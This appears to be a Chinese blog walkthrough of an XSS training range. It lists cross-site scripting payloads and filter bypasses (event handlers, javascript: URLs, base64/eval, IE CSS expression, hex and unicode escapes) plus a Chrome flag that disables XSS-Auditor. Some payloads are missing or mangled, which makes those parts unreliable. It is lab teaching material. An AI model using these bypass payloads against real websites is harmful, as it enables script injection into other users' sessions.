XSS攻击

实验环境介绍

地址:https://xss-quiz.int21h.jp/

该网址是一个可用于XSS攻击的靶场

探测XSS过程

  • 1.构造一个不会被识别为恶意代码的字符串提交到页面中
  • 2.使用浏览器审查工具进行代码审查,寻找构造的字符串是否在页面中显示

闭合文本标签利用XSS

简单的payload


闭合标签的payload

"

配置Chrome关闭XSS-Auditor

https://xss-quiz.int21h.jp/ 利用XSS过程中会出现下图情况。配置Chrome --args --disable-xss-auditor
XSS攻击_第1张图片
在桌面新建一个快捷方式

"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --args --disable-xss-auditor

属性中的XSS发现

技巧:ctrl+f 全局搜索输入的内容

闭合引号,尖括号,引入script脚本
payload

123">

onmouseover 鼠标悬停弹出

" onmouseover= " alert(document.domain)>

select元素可创建单选或多选菜单


在select下拉框中输入,闭合标签

Japan

HTML表单隐藏参数介绍

隐藏域是用来收集或发送信息的不可见元素,对于网页的访问者来说,隐藏域是看不见的。 当表单被提交时,隐藏域就会将信息用你设置时定义的名称和值发送到服务器上

HTML表单文本框介绍



value       输入字段的初始值
readonly    输入字段为只读(不能修改)
disable     输入字段是禁用的
size        规定输入字段的字符
maxlength   输入字段允许最大长度

payload触发XSS漏洞

修改maxlength的值,达到XSS攻击效果

">

HTML事件介绍

W3C网址:http://www.w3school.com.cn/tags/html_ref_eventattributes.asp

HTML实体 :https://www.w3school.com.cn/html/html_entities.asp

通过HTML事件来触发XSS

" onmouseover="alert(document.domain)

" onclick="alert(document.domain)

空格分隔属性中的XSS

按照上面的闭合思路来进行尝试

" onmouseover= "alert(document.domain)

javascript伪协议介绍

将javascript代码添加到客户端的方法是把它放置在伪协议说明符javascript:后的URL中。这个特殊的协议类型声明了URL的主体是任意的javascript代码,它由javascript的解释器运行。 如果javascript:URL中的javascript代码含有多个语句,必须使用分号将这些语句分隔开

javascript:var now = new Date(); "

The time is:

" + now;

javascript URL还可以含有只执行动作,但不返回值的javascript语句

javascript:alert("hello world!")

a链接标签属性

标签定义超链接,用于从一个页面链接到另外一个页面

标签最重要的属性是href属性,它指定链接的目标

在所有浏览器中,链接的默认外观是:

  • 未被访问的链接带有下划线而且是蓝色的
  • 已被访问的链接带有下划线而且是紫色的
  • 活动链接带有下划线而且是红色的

XSS漏洞发现

构造特殊无害字符串,响应中寻找字符串

跳过Stage #9,在span标签中添加 οnclick= “alert(document.domain)”

绕过方法

1.双写绕过

">

2.编码绕过

  • alert(document.domain)
  • YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ==
  • eval 执行JavaScript代码
  • atob 解码base64
">

绕过替换script和on事件的XSS

在Stage #11演示

	  tab制表符html十进制编码

">xss

利用IE特性绕过XSS过滤

IE中两个反引号``可以闭合一个左边双引号

" `` 可以这样闭合

``οnclick=alert(document.domain)

这个只适用于IE浏览器

利用CSS特性绕过XSS过滤

CSS层叠样式表,是一种用来表现HTML或XML等文件样式的计算机语言。可以修饰页面效果,拿网站 效果演示,修改css看页面效果

background:url("javascript:alert(document.domain);"); 设置背景颜色

IETester

官网:https://www.my-debugbar.com/wiki/IETester/HomePage

在IETester中打开Stage #13网址进行测试

在IETester中进行测试,因为各个版本的IE都需要进行测试,Windows10里面自带的IE不会执行

IE中利用CSS触发XSS

CSS中执行js

css expression(css表达式)又称Dynamic properties(动态属性)是早期微软DHTML的产物,以其可以在Css中定义表达式(公式)来达到建立元素间属性之间的联系等作用,从IE5开始得到支持,后因标准、性能、安全性等问题,微软从IE8 beta2标准模式开始,取消对css expression的支

在Stage #14演示

IE5及其以后版本支持在CSS中使用expression,用来把CSS属性和Javascript表达式关联起来

here:expres/\*\*/sion(if(!window.x){alert(document.domain);window.x=1;}); 

here:e\\0xpression(onmouseover=function(){alert(document.domain)})

16进制绕过过滤触发XSS

十六进制介绍

十六进制转换有16进制每一位上可以是从小到大为0,1,2,3,4,5,6,7,8,9,A,B,C,D,E,F 16个大小不同 的数,即逢16进1,其中A,B,C,D,E,F(字母不区分大小写),这六个字母来分别表示10,11,12,13,14,15

使用python进行16进制转换

import binascii 

s = binascii.b2a_hex(">" .encode("utf8")) 

print(s.decode()) 

print("\\x"+s.decode())

双斜杠+16进制绕过

\\x3cscript\\x3ealert(document.domain);\\x3c/script\\x3e

unicode绕过过滤触发XSS

unicode介绍

Unicode(万国码、国际码、统一码、单一码)是计算机科学领域里的一项业界标准。它对世界上大部分的文字系统进行了整理、编码,使得电脑可以用更为简单的方式来呈现和处理文字

Unicode是为了解决传统的字符编码方案的局限而产生的,它为每种中的每个字符设定了统一并 且唯一的二进制编码,满足跨语言、跨平台进行文本转换、处理的要求。

使用Python将字符串转换为unicode类型

import binascii

s = binascii.b2a_hex(">".encode("utf8"))
print(s.decode())

print("\\u00"+s.decode())  

unicode绕过

\\u003cscript\\u003ealert(document.domain);\\u003c/script\\u003e

你可能感兴趣的:(web安全攻防)